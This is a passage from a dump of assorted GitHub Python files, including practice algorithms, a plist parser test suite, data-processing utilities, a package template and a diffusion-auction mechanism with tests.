bound, find mid , move the ;ower and mid depending upon the value to search.\n\nlst = [1,2,33,44,66,88,32,64,785,3245,7884332,6731466,4677,4,236]\nlst.sort()\nprint(lst)\npos = -1\nn = 3245\n\ndef binary_search(lst,n):\n l = 0\n u = len(lst)-1\n\n while l <= u:\n mid = (l+u)//2\n\n if lst[mid] == n:\n globals()['pos'] = mid\n return True\n else:\n if lst[mid] < n:\n l = mid+1\n else:\n u = mid-1\n\nif binary_search(lst,n):\n print(\"Found at :\" , pos+1)\nelse:\n print(\"Not found\")\n\n\n\n\n\n","repo_name":"rajeshroshanprasad/python-practice","sub_path":"binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5024657352","text":"from datetime import datetime\n\nfrom sqlalchemy import Column, Integer, Date, Text, DateTime\n\nfrom server import db, ma\n\n\nclass Usuario(db.Model):\n __tablename__ = \"usuario\"\n\n id = Column(Integer, primary_key=True)\n cpf = Column(Text)\n nome = Column(Text)\n dt_nasc = Column(Date)\n telefone = Column(Text)\n email = Column(Text)\n senha = Column(Text)\n\n create_at = Column(DateTime, default=datetime.now)\n updated_at = Column(DateTime, default=datetime.now, onupdate=datetime.now)\n\n\nclass UsuarioSchema(ma.ModelSchema):\n class Meta:\n fields = (\n \"id\",\n \"cpf\",\n \"nome\",\n \"dt_nasc\",\n \"telefone\",\n \"email\",\n \"senha\",\n )\n","repo_name":"PedroHAquino/buscaPet-backEnd","sub_path":"pythonProject/server/models/usuario.py","file_name":"usuario.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"945492832","text":"pkgname = \"libqxp\"\npkgver = \"0.0.2\"\npkgrel = 1\nbuild_style = \"gnu_configure\"\nmake_cmd = \"gmake\"\nmake_dir = \".\"\nhostmakedepends = [\"pkgconf\", \"gmake\", \"automake\", \"libtool\"]\nmakedepends = [\"librevenge-devel\", \"boost-devel\", \"icu-devel\"]\npkgdesc = \"Library for QuarkXPress format\"\nmaintainer = \"q66 \"\nlicense = \"MPL-2.0\"\nurl = \"https://wiki.documentfoundation.org/DLP/Libraries/libqxp\"\nsource = (\n f\"https://dev-www.libreoffice.org/src/{pkgname}/{pkgname}-{pkgver}.tar.xz\"\n)\nsha256 = \"e137b6b110120a52c98edd02ebdc4095ee08d0d5295a94316a981750095a945c\"\n\n\n@subpackage(\"libqxp-progs\")\ndef _progs(self):\n return self.default_progs()\n\n\n@subpackage(\"libqxp-devel\")\ndef _devel(self):\n return self.default_devel()\n","repo_name":"chimera-linux/cports","sub_path":"contrib/libqxp/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"36"} +{"seq_id":"21138604542","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef longest_path_with_path(adj_matrix, start_vertex, end_vertex):\n num_vertices = len(adj_matrix)\n\n # Функция для вычисления топологической сортировки графа.\n def topological_sort():\n visited = [False] * num_vertices\n stack = []\n\n # Запускаем поиск в глубину (DFS) из каждой непосещенной вершины.\n def dfs(vertex):\n visited[vertex] = True\n for neighbor in range(num_vertices):\n if adj_matrix[vertex][neighbor] > 0 and not visited[neighbor]:\n dfs(neighbor)\n stack.append(vertex)\n\n for vertex in range(num_vertices):\n if not visited[vertex]:\n dfs(vertex)\n\n return stack[::-1] # Разворачиваем стек, чтобы получить топологическую сортировку.\n\n topological_order = topological_sort()\n\n # Инициализируем массивы для хранения длин путей и предков для каждой вершины.\n max_lengths = [-float('inf')] * num_vertices\n predecessors = [-1] * num_vertices\n max_lengths[start_vertex] = 0 # Начальная вершина имеет длину 0.\n\n # Проходим по вершинам в топологическом порядке и вычисляем максимальные длины путей.\n for vertex in topological_order:\n for neighbor in range(num_vertices):\n if adj_matrix[vertex][neighbor] > 0:\n if max_lengths[neighbor] < max_lengths[vertex] + adj_matrix[vertex][neighbor]:\n max_lengths[neighbor] = max_lengths[vertex] + adj_matrix[vertex][neighbor]\n predecessors[neighbor] = vertex\n\n # Построим путь, начиная с конечной вершины и двигаясь к начальной.\n path = [end_vertex]\n current_vertex = end_vertex\n while current_vertex != start_vertex:\n current_vertex = predecessors[current_vertex]\n path.append(current_vertex)\n\n path.reverse() # Разворачиваем путь, чтобы он начинался с начальной вершины.\n\n # Возвращаем максимальную длину пути и сам путь.\n return max_lengths[end_vertex], path\n\n\ndef main():\n adjacent_matrix = np.array([\n [0, 1, 2, 6, 0, 0],\n [0, 0, 2, 6, 1, 0],\n [0, 0, 0, 2, 3, 0],\n [0, 0, 0, 0, 2, 1],\n [0, 0, 0, 0, 0, 2],\n [0, 0, 0, 0, 0, 0]\n ])\n\n start_vertex = 0\n end_vertex = 5\n\n result_length, result_path = longest_path_with_path(adjacent_matrix, start_vertex, end_vertex)\n print(\"Наидлиннейший путь из вершины\", start_vertex, \"в вершину\", end_vertex, \":\", result_path)\n print(\"Длина пути:\", result_length)\n\n G = nx.DiGraph(np.matrix(adjacent_matrix))\n nx.draw(G, with_labels=True, node_size=300, arrows=True)\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"nikolay777-ops/SAIO","sub_path":"lab-5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24304269166","text":"'''\n문제 이름 : 98. Validate Binary Search Tree\n문제 링크 : https://leetcode.com/problems/validate-binary-search-tree/\n문제 풀이 : \n시간 복잡도 : \n공간 복잡도 :\n'''\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \nclass Solution:\n def __init__(self) -> None:\n self.max_val = 0\n self.min_Val = 0\n \n def isValidBST(self, root: TreeNode) -> bool:\n if not root:\n return 0\n self.max_val = root\n self.min_val = root\n \n \n \n root.left = self.isValidBST(root.left)\n root.right = self.isValidBST(root.right)\n \n return False","repo_name":"nyungsu/Study_Algorithm_with_Python","sub_path":"LeetCode/solutions/98. Validate Binary Search Tree.py","file_name":"98. Validate Binary Search Tree.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"40289104653","text":"MIN_IN_HOUR = 60\nHOURS_IN_DAY = 24\n\n\ndef add_minutes(hour, minute, minutes_to_add):\n '''\n Adds 'minutes_to_add' to a given time:\n\n >>> add_minutes(10, 30, 25)\n (10, 55)\n >>> add_minutes(10, 30, 50)\n (11, 20)\n >>> add_minutes(22, 30, 120)\n (0, 30)\n '''\n sum_of_minutes = minute + minutes_to_add\n hour += sum_of_minutes // MIN_IN_HOUR\n hour = hour % HOURS_IN_DAY\n sum_of_minutes %= MIN_IN_HOUR\n\n return hour, sum_of_minutes\n\n\n# print(add_minutes(10, 30, 25))\n# print(add_minutes(10, 30, 50))\n# print(add_minutes(22, 30, 677))\n\n\n# time format str HH:MM\ndef add_minutes(time, minutes_to_add):\n hour, minute = time.split(':')\n minutes_form_time = int(hour) * MIN_IN_HOUR + int(minute)\n sum_of_minutes = minutes_form_time + minutes_to_add\n hour = sum_of_minutes // MIN_IN_HOUR\n hour = hour % HOURS_IN_DAY\n minutes = sum_of_minutes % MIN_IN_HOUR\n\n return f'{hour:02}:{minutes:02}' # 02 allow display extra 0 before one number hour or minute\n\n\nprint(add_minutes('23:55', 6))\n","repo_name":"2RMalinowski/algorithms-and-katas","sub_path":"add_minutes_to_hours.py","file_name":"add_minutes_to_hours.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17505011717","text":"import src.config as config\nimport os\nimport xml.etree.ElementTree as ET\n#from src.run_node2vec import run_node2vec\n\n\ndef parseFromXml(file):\n \"\"\"\n parse ontology file, and save the edges of ontology file to a edgelist file\n :param file: ontology file\n \"\"\"\n tree = ET.parse(file)\n root = tree.getroot()\n\n if not os.path.exists(config.ONTOLOGY_EDGELIST_FOLDER):\n os.makedirs(config.ONTOLOGY_EDGELIST_FOLDER)\n CC_edgelist_file=config.ONTOLOGY_EDGELIST_FOLDER+\"/CC.edgelist\"\n BP_edgelist_file = config.ONTOLOGY_EDGELIST_FOLDER + \"/BP.edgelist\"\n MF_edgelist_file = config.ONTOLOGY_EDGELIST_FOLDER + \"/MF.edgelist\"\n of_CC = open(CC_edgelist_file, 'w')\n of_BP = open(BP_edgelist_file, 'w')\n of_MF = open(MF_edgelist_file, 'w')\n for term in root.iter('term'):\n is_a = []\n flag = 0\n part_of = []\n is_obsolete_falg = 0\n consider = []\n regulates = []\n for node in term:\n # print(node.tag)\n # print(node.text)\n if node.tag==\"namespace\":\n domain=node.text\n elif node.tag == \"id\":\n go_id = node.text\n elif node.tag == \"is_a\":\n is_a.append(node.text)\n elif node.tag == \"is_obsolete\":\n if node.text == \"1\":\n is_obsolete_falg = node.text\n elif node.tag == \"consider\":\n consider.append(node.text)\n elif node.tag == \"relationship\":\n for relation in node:\n if relation.tag == \"type\":\n if relation.text == \"part_of\":\n flag = 1\n if relation.text == \"regulates\":\n flag = 2\n if relation.tag == \"to\":\n if flag == 1:\n part_of.append(relation.text)\n flag = 0\n if flag == 2:\n regulates.append(relation.text)\n flag = 0\n\n if is_obsolete_falg == 0:\n for parent in is_a:\n if domain==\"biological_process\":\n of_BP.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n elif domain==\"molecular_function\":\n of_MF.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n else:\n of_CC.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n for parent in part_of:\n if domain == \"biological_process\":\n of_BP.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n elif domain == \"molecular_function\":\n of_MF.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n else:\n of_CC.write(parent[3:] + \" \" + go_id[3:] + '\\n')\n else:\n continue\n of_CC.close()\n of_BP.close()\n of_MF.close()\n\n\n\nif __name__ == '__main__':\n #Step1: parse gene ontology file and generate edgelist files for CC,BP,MF\n parseFromXml(config.ONTOLOGY_FILE)\n\n # The term encoding module employs a node2vec model to generate dense feature vectors for GO terms\n # save the feature vector representation of GO terms in *.emb file\n # run_node2vec()\n\n","repo_name":"ZhuMan94/protein2vec","sub_path":"src/run_term_encoding_module.py","file_name":"run_term_encoding_module.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14380261991","text":"class Solution:\r\n def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:\r\n ans = []\r\n\r\n def dfs(i, curr, total):\r\n if total == target:\r\n ans.append(curr.copy())\r\n return\r\n\r\n if i >= len(candidates) or total > target:\r\n return\r\n\r\n # decision to include the ith element\r\n\r\n curr.append(candidates[i])\r\n dfs(i, curr, total + candidates[i])\r\n\r\n # decision to not include the ith element\r\n curr.pop()\r\n dfs(i + 1, curr, total)\r\n\r\n dfs(0, [], 0)\r\n\r\n return ans\r\n","repo_name":"jithindmathew/LeetCode","sub_path":"combination-sum.py","file_name":"combination-sum.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2317172251","text":"from cv2 import cv2\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport pickle\n\nprogan = hub.load(\"https://tfhub.dev/google/progan-128/1\").signatures['default']\n\ndef genimg():\n vector = tf.random.normal([512])\n image = progan(vector)['default']\n image = tf.constant(image)\n image = tf.image.convert_image_dtype(image, tf.uint8)[0]\n image = image.numpy()\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n vector = vector.numpy()\n return [vector, image]\n\n#vec = tf.convert_to_tensor(vec)\n#print(type(vec))\n\ndef dispimg(image):\n cv2.imshow('out',image)\n cv2.waitKey(0)\n\ndataset = []\nfor i in range(1000):\n element = genimg()\n dataset.append(element)\n\nwith open('dataset.pkl', 'wb') as f:\n pickle.dump(dataset, f)","repo_name":"Roboramv2/Image-compression","sub_path":"3_gan/first try/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"25951950823","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport unittest\nfrom test import test_support\n\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))\nfrom plist_parser import XmlPropertyListParser, PropertyListParseError\n\n# the directory contains sample .plist files\nPLIST_DIR = os.path.join(os.path.dirname(__file__), 'plist')\n\ndef getPropertyListFilepath(name):\n return os.path.join(PLIST_DIR, name)\n\ndef readPropertyListContents(name):\n xmlin = open(getPropertyListFilepath(name))\n try:\n return xmlin.read()\n finally:\n xmlin.close()\n\n# Non-ASCII Strings...\nJP_JAPANESE = u'\\u65e5\\u672c\\u8a9e' # 'Japanese' in Japanese\nJP_HELLO = u'\\u3053\\u3093\\u306b\\u3061\\u306f' # 'Hello' in Japanese\n\n\nclass XmlPropertyListGenericParserTest(unittest.TestCase):\n\n def parse(self, xmlin):\n parser = XmlPropertyListParser()\n return parser.parse(xmlin)\n\n def parsePropertyList(self, name):\n xmlin = open(getPropertyListFilepath(name))\n try:\n return self.parse(xmlin)\n finally:\n xmlin.close()\n\n def assertNotNone(self, obj):\n self.assert_(obj is not None)\n\n def assertIsInstance(self, obj, expected_type):\n self.assert_(\n isinstance(obj, expected_type),\n \"Expected '%s' instance, but was '%s'\" % (expected_type, type(obj)))\n\n def _testAcceptingStringOrUnicodeInput(self, plist_name):\n contents = readPropertyListContents(plist_name)\n self.assert_(self.parse(contents) is not None)\n unicode_contents = unicode(contents, 'utf-8')\n self.assert_(self.parse(unicode_contents) is not None)\n \n def _testNonASCIIEncoding(self, plist_name):\n plist = self.parsePropertyList(plist_name)\n self.assertNotNone(plist)\n self.assertIsInstance(plist, dict)\n self.assert_(JP_JAPANESE in plist)\n self.assertEqual(plist[JP_JAPANESE], JP_HELLO)\n\n def test_init(self):\n self.assert_(XmlPropertyListParser())\n\n def test_non_ascii_plist(self):\n self._testNonASCIIEncoding('utf8.plist')\n #self._testNonASCIIEncoding('sjis.plist')\n\n\n def test_no_plist_xml(self):\n self.assertRaises(\n PropertyListParseError,\n self.parse, '')\n\n def test_string_or_unicode_input(self):\n self._testAcceptingStringOrUnicodeInput(\"empty_dict.plist\")\n \n def test_multiple_plist(self):\n self.assertRaises(\n PropertyListParseError,\n self.parsePropertyList, 'multiple_plist.plist')\n\n def test_multiple_top_level_plist(self):\n self.assertRaises(\n PropertyListParseError,\n self.parsePropertyList, 'multiple_top_level.plist')\n\n def test_invalid_key_plist(self):\n self.assertRaises(\n PropertyListParseError,\n self.parsePropertyList, 'invalid_key.plist')\n\n def test_empty_dict_plist(self):\n plist = self.parsePropertyList('empty_dict.plist')\n self.assertNotNone(plist)\n self.assertIsInstance(plist, dict)\n self.assert_(len(plist) is 0)\n\n def test_empty_array_plist(self):\n plist = self.parsePropertyList('empty_array.plist')\n self.assertNotNone(plist)\n self.assertIsInstance(plist, list)\n self.assert_(len(plist) is 0)\n\n def test_simple_plist(self):\n plist = self.parsePropertyList('simple.plist')\n self.assertNotNone(plist)\n self.assertIsInstance(plist, dict)\n self.assert_('item 1' in plist)\n self.assertEqual(plist['item 1'], 'Hello')\n\n def test_datetime_plist(self):\n plist = self.parsePropertyList('datetime.plist')\n self.assertNotNone(plist)\n self.assertIsInstance(plist, list)\n self.assertEqual(str(plist[0]), \"2008-08-02 05:25:50\")\n self.assertEqual(str(plist[1]), \"2008-08-02 05:25:00\")\n self.assertEqual(str(plist[2]), \"2008-08-02 05:00:00\")\n self.assertEqual(str(plist[3]), \"2008-08-02 00:00:00\")\n self.assertEqual(str(plist[4]), \"2008-08-01 00:00:00\")\n self.assertEqual(str(plist[5]), \"2008-01-01 00:00:00\")\n\n def test_not_xml_plist(self):\n self.assertRaises(\n PropertyListParseError,\n self.parsePropertyList,\n 'notxml.plist'\n )\n\n def test_invalid_datetime(self):\n self.assertRaises(PropertyListParseError,\n self.parse,\n '')\n self.assertRaises(PropertyListParseError,\n self.parse,\n 'kasdhfksahkdfj')\n self.assertRaises(PropertyListParseError,\n self.parse,\n ' 2008-08-02T05:25:50Z')\n self.assertRaises(PropertyListParseError,\n self.parse,\n '2008-08-02T05:25:50Z ')\n\n def test_elements_plist(self):\n plist = self.parsePropertyList('elements.plist')\n self.assertNotNone(plist)\n self.assertIsInstance(plist, dict)\n\n self.assertEqual(plist['string item'], 'string value')\n self.assertEqual(plist['long long string item'], \"\"\"There, he campaigned for the amalgamation of Northern and Southern Rhodesia. Although unsuccessful, he succeeded in the formation of the Federation of Rhodesia and Nyasaland\"\"\")\n self.assertEqual(plist['integer number item'], 12345)\n self.assertEqual(plist['real number item'], 123.45)\n\n item = plist['nested dictionary']\n self.assertIsInstance(item, dict)\n self.assertEqual(item['true item'], True)\n self.assertEqual(item['false item'], False)\n\n item = item['array item']\n self.assertIsInstance(item, list)\n self.assertEqual(item[0], 'hello')\n self.assertEqual(str(item[1]), \"2008-08-01 06:16:37\")\n self.assertIsInstance(item[2], list)\n self.assertIsInstance(item[2][0], dict)\n self.assertEqual(item[2][0]['item'], 1)\n\n\nclass XmlPropertyListSAXParserTest(XmlPropertyListGenericParserTest):\n\n def parse(self, xmlin):\n parser = XmlPropertyListParser()\n return parser._parse_using_etree(xmlin)\n \n\nclass XmlPropertyListEtreeParserTest(XmlPropertyListGenericParserTest):\n\n def parse(self, xmlin):\n parser = XmlPropertyListParser()\n return parser._parse_using_sax_parser(xmlin)\n\n\nif __name__ == \"__main__\":\n loader = unittest.defaultTestLoader\n suite = unittest.TestSuite()\n suite.addTest(loader.loadTestsFromTestCase(XmlPropertyListGenericParserTest))\n suite.addTest(loader.loadTestsFromTestCase(XmlPropertyListSAXParserTest))\n try:\n from xml.etree.cElementTree import iterparse\n except ImportError:\n pass\n else:\n suite.addTest(loader.loadTestsFromTestCase(XmlPropertyListEtreeParserTest))\n\n runner = unittest.TextTestRunner(verbosity=1)\n result = runner.run(suite)\n sys.exit(not result.wasSuccessful())\n","repo_name":"ishikawa/python-plist-parser","sub_path":"tests/runtests.py","file_name":"runtests.py","file_ext":"py","file_size_in_byte":6980,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"36"} +{"seq_id":"44291421093","text":"import csv\nimport json\nimport os\n\nFOLDERS = ['calibration_videos', 'videos_to_correct', 'corrected_videos']\nimport shutil\n\n\ndef load_task_order(csv_path):\n participant_data_tasks = {}\n with open(csv_path, newline='') as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n participant = row['Participant']\n task_order = [row[f'Task_{i + 1}'] for i in range(5)]\n participant_data_tasks[participant] = task_order\n return participant_data_tasks\n\n\nclass QUBVisionData:\n def __init__(self, project_path: str, start_participant: int=0, end_participant: int=100):\n super(QUBVisionData, self).__init__()\n self.project_path = os.path.join(project_path, 'PHEO-2.5D')\n self.participants = [os.path.join(self.project_path, 'Participants', f'P{p:02d}') for p in range(start_participant, end_participant+1)]\n self.camera_positions = ['CAM_LL', 'CAM_UL', 'CAM_AV', 'CAM_UR', 'CAM_LR']\n self.task_video_counts = {'BIAH': 3, 'BRIDGE': 2, 'CALIBRATION': 1, 'STAIRWAY': 2, 'TOWER': 2}\n self.skipped_data = {f'p{i:02d}': {} for i in range(100)}\n\n def create_participant_repository(self):\n if not os.path.exists(self.project_path):\n os.makedirs(self.project_path)\n print(f'CREATED DATA PROJECT REPOSITORY {self.project_path}')\n else:\n print(f'Project Repository {self.project_path} EXISTS Please use another Name')\n exit()\n _ = [print(f'CREATED SUBFOLDER {participant}') and os.makedirs(participant) if not os.path.exists(\n participant) else print(f'{participant} EXISTS') for participant in self.participants]\n\n def create_meta_data(self, participant_info, task_info, camera_info):\n meta_data = {\n 'participant_info': participant_info,\n 'task_info': task_info,\n 'camera_info': camera_info\n }\n meta_data_path = os.path.join(self.project_path, 'metadata.json')\n\n with open(meta_data_path, 'w') as f:\n json.dump(meta_data, f, indent=4)\n\n print(f'METADATA SAVED AT {meta_data_path}')\n\n def rename_participant_files(self, csv_path):\n participant_data_tasks = load_task_order(csv_path)\n for participant_data in self.participants:\n current_participant = os.path.basename(participant_data)\n if os.path.isdir(participant_data):\n for camera_position in self.camera_positions:\n camera_specific_data = os.path.join(participant_data, camera_position)\n video_list = [i for i in os.listdir(camera_specific_data) if i.endswith('.MP4')]\n if len(video_list) == 10:\n video_list = sorted(video_list)\n video_index = 0\n for task in participant_data_tasks[current_participant]:\n for version_index in range(self.task_video_counts[task]):\n old_path = os.path.join(camera_specific_data, video_list[video_index])\n version_name = self.task_video_counts[task][version_index]\n new_filename = f'{task}_{version_name}_{camera_position}.MP4'\n new_path = os.path.join(camera_specific_data, new_filename)\n shutil.copy(old_path, new_path)\n # os.rename(old_path, new_path)\n print(f'Copied {old_path} to {new_path}')\n video_index += 1\n elif len(video_list) < 10:\n self.skipped_data[current_participant][f'{camera_position}'] = '<10'\n print(\n f'Skipped {camera_position} for Participant {current_participant} due to Video files < 10... Please check')\n\n\n else:\n self.skipped_data[current_participant][camera_position] = '>10'\n print(\n f'SKipped {camera_position} for Participant {current_participant} due to Video files > 10... Please Check ')\n else:\n print(f'Participant Directory {current_participant} does not exist')\n\n\n","repo_name":"exponentialR/QUB-HRI","sub_path":"utils/directory_setup.py","file_name":"directory_setup.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13926959393","text":"\"\"\"\n\nread_strategy = None\nwrite_strategy = None\n\nif args.from_format == \"datafile\":\n read_strategy = ReadDatafile()\nelif args.from_format == \"datapackage\":\n read_strategy = ReadDatapackage()\nelif args.from_format == \"csv\":\n read_strategy = ReadCsv()\nelif args.from_format == \"excel\":\n read_strategy = ReadExcel()\n\nif args.to_format == \"datapackage\":\n write_strategy = WriteDatapackage()\nelif args.to_format == \"excel\":\n write_strategy = WriteExcel()\nelif args.to_format == \"datafile\":\n write_strategy = WriteDatafile()\nelif args.to_format == \"csv\":\n write_strategy = WriteCsv()\n\nif read_strategy and write_strategy:\n context = Context(read_strategy, write_strategy)\n context.convert(args.from_path, args.to_path)\nelse:\n raise NotImplementedError(msg)\n\n\"\"\"\nimport os\nfrom tempfile import NamedTemporaryFile, TemporaryDirectory\n\nfrom otoole import Context, ReadExcel, WriteCsv, WriteDatafile\n\n\nclass TestConvert:\n def test_convert_excel_to_datafile(self):\n\n read_strategy = ReadExcel()\n write_strategy = WriteDatafile()\n context = Context(read_strategy, write_strategy)\n\n tmpfile = NamedTemporaryFile()\n from_path = os.path.join(\"tests\", \"fixtures\", \"combined_inputs.xlsx\")\n\n context.convert(from_path, tmpfile.name)\n\n tmpfile.seek(0)\n actual = tmpfile.readlines()\n tmpfile.close()\n\n assert actual[-1] == b\"end;\\n\"\n assert actual[0] == b\"# Model file written by *otoole*\\n\"\n assert actual[2] == b\"09_ROK d_bld_2_coal_products 2017 20.892132\\n\"\n assert actual[8996] == b\"param default 1 : DepreciationMethod :=\\n\"\n\n def test_convert_excel_to_csv(self):\n\n read_strategy = ReadExcel()\n write_strategy = WriteCsv()\n context = Context(read_strategy, write_strategy)\n\n tmpfile = TemporaryDirectory()\n from_path = os.path.join(\"tests\", \"fixtures\", \"combined_inputs.xlsx\")\n\n context.convert(from_path, tmpfile.name)\n\n with open(os.path.join(tmpfile.name, \"EMISSION.csv\")) as csv_file:\n csv_file.seek(0)\n actual = csv_file.readlines()\n\n assert actual[-1] == \"NOX\\n\"\n assert actual[0] == \"VALUE\\n\"\n assert actual[1] == \"CO2\\n\"\n","repo_name":"vignesh1987/otoole","sub_path":"tests/test_convert.py","file_name":"test_convert.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"34755233897","text":"def solution(queue1, queue2):\n q = queue1 + queue2\n target = sum(q) // 2\n\n i, j = 0, len(queue1)-1\n curr = sum(queue1)\n count = 0\n\n while i < len(q) and j < len(q): \n if curr == target:\n return count\n\n elif curr < target and j < len(q)-1:\n j += 1\n curr += q[j]\n\n else:\n curr -= q[i]\n i += 1\n\n count += 1\n\n return -1\n\ndef solution(queue1, queue2):\n \n que = queue1 + queue2\n tar = sum(que) // 2\n count = 0\n start, end = 0, len(queue1)-1\n std = sum(que[start:end+1])\n \n while start < len(que) and end < len(que):\n \n if std == tar:\n return count\n \n elif std bid[mxBidder]: mxBidder = i\r\n diffusionSeq, x = [], mxBidder\r\n while x != seller:\r\n diffusionSeq.append(x)\r\n x = idom[x]\r\n diffusionSeq.append(seller)\r\n diffusionSeq.reverse()\r\n return mxBidder, diffusionSeq\r\n\r\n def __call__(self, G, seller):\r\n bid = G.nodes.data(\"bid\")\r\n idom = nx.immediate_dominators(G, seller)\r\n reachableNodes = list(nx.descendants(G, seller)) + [seller]\r\n price, maxAlpha = IDM.getPrice(G, seller, bid, idom, reachableNodes)\r\n mxBidder, diffusionSeq = IDM.getDiffSeq(seller, reachableNodes, idom, bid)\r\n\r\n winner = -1\r\n monetaryTransfer = dict(zip(G.nodes, [0] * len(G.nodes)))\r\n\r\n if len(diffusionSeq) == 1:\r\n winner = diffusionSeq[0]\r\n return mechanismBase.DiffusionAuction.MechanismResult(seller, winner, monetaryTransfer, G)\r\n\r\n for ix, i in enumerate(diffusionSeq):\r\n if ((i == mxBidder) or (price[diffusionSeq[ix + 1]] == bid[i])) and (i != seller):\r\n winner = i\r\n monetaryTransfer[i] = -price[i]\r\n break\r\n else:\r\n monetaryTransfer[i] = price[diffusionSeq[ix + 1]] - price[i]\r\n\r\n return mechanismBase.DiffusionAuction.MechanismResult(seller, winner, monetaryTransfer, G)\r\n\r\nclass TestIDM(unittest.TestCase):\r\n def testIDM_hand(self):\r\n mechanism = IDM()\r\n G = nx.DiGraph()\r\n E = [(0, 1), (0, 2), (0, 3), (0, 4), (1, 5), (2, 5), (3, 6), (5, 7), (8, 9)]\r\n G.add_edges_from(E)\r\n # load bids of agents\r\n bid = [0, 2, 3, 5, 7, 11, 13, 17, 19, 23, 29]\r\n seller = 0\r\n nx.set_node_attributes(G, dict(enumerate(bid)), \"bid\")\r\n\r\n result = mechanism(G, seller)\r\n\r\n self.assertTrue(result.feasible)\r\n self.assertEqual(result.revenue, 13)\r\n self.assertEqual(result.socialWelfare, 17)\r\n self.assertAlmostEqual(result.efficiencyRatio, 1.0)\r\n \r\n def testIDM_Li2017Fig2(self):\r\n mechanism = IDM()\r\n G = nx.DiGraph()\r\n E = [('s', 'A'), ('s', 'B'), ('s', 'C'), ('C', 'J'), ('C', 'H'),\r\n ('A', 'D'), ('B', 'E'), ('C', 'E'), ('C', 'I'), ('H', 'I'),\r\n ('D', 'E'), ('I', 'L'), ('D', 'F'), ('D', 'G'), ('G', 'K')]\r\n G.add_edges_from(E)\r\n G.add_edges_from([(y, x) for x, y in E])\r\n bid = {'s': 0, 'A': 1, 'B': 3, 'C': 2, 'J': 4, 'H': 11, \r\n 'I': 12, 'D': 5, 'E': 7, 'F': 10, 'G': 8, 'K': 6, 'L': 13}\r\n nx.set_node_attributes(G, bid, \"bid\")\r\n seller = 's'\r\n result = mechanism(G, seller)\r\n self.assertTrue(result.feasible)\r\n self.assertEqual(result.winner, 'I')\r\n self.assertEqual(result.monetaryTransfer['I'], -11)\r\n self.assertEqual(result.monetaryTransfer['C'], 1)\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()","repo_name":"none44353/Empirical-Study-on-Diffusion-Auction","sub_path":"mechanism/IDM.py","file_name":"IDM.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72692997543","text":"\"\"\"Think of An Animal\nThis game allows the user to think of an animal and let the game guess the animal by answering alternative questions\nregarding the animal's features such as class type, size, and hair from a database. If the answer is correct, the game\nwins; if the answer is incorrect, the user wins, and his/her answer will be stored.\n\"\"\"\nimport random\n\nfrom db import Db\nfrom questions import questions\n\n\nclass Game:\n \"\"\"\n A class used to represent the Game. This class shows you how the game works.\n ...\n Attributes\n ----------\n class_type: int\n the number of the animal's class type (mammal is 1, fish is 2)\n db: database\n db is animals.db\n animal_data: list\n a list of dictionaries of animals\n viable_questions: list\n a list of dictionaries' keys where at lease one animal has a distinct value\n query:str\n Sql query to check the database for animal data\n rounds: int\n the number of the round of the game (default is 0)\n \"\"\"\n def __init__(self):\n self.db = Db('animals.db')\n self.animal_data = None\n self.viable_questions = None\n self.query = 'select * from animals'\n self.rounds = 0\n self.question = None\n\n def main_question(self):\n if self.rounds < 10:\n self.retrieve_animal_data()\n viable_questions = self.find_viable_questions()\n if viable_questions:\n return viable_questions\n\n def main(self):\n \"\"\"platform to sequentially call class methods.\"\"\"\n\n while self.rounds < 10:\n print(self.query)\n viable_questions = self.main_question()\n print(viable_questions)\n if viable_questions:\n self.ask_question()\n if len(self.animal_data) == 1:\n break\n else:\n break\n self.rounds += 1\n # print(self.animal_data)\n # print(self.query)\n # print(self.rounds)\n self.guess_animal()\n\n def retrieve_animal_data(self):\n \"\"\"retrieve the animal data in a array from the result of the query generated from identify_class_type\n Attribute\n ---------\n animal_data: list\n a list of dictionaries of animals\n \"\"\"\n\n data = self.db.fetchall(self.query)\n self.animal_data = data\n\n 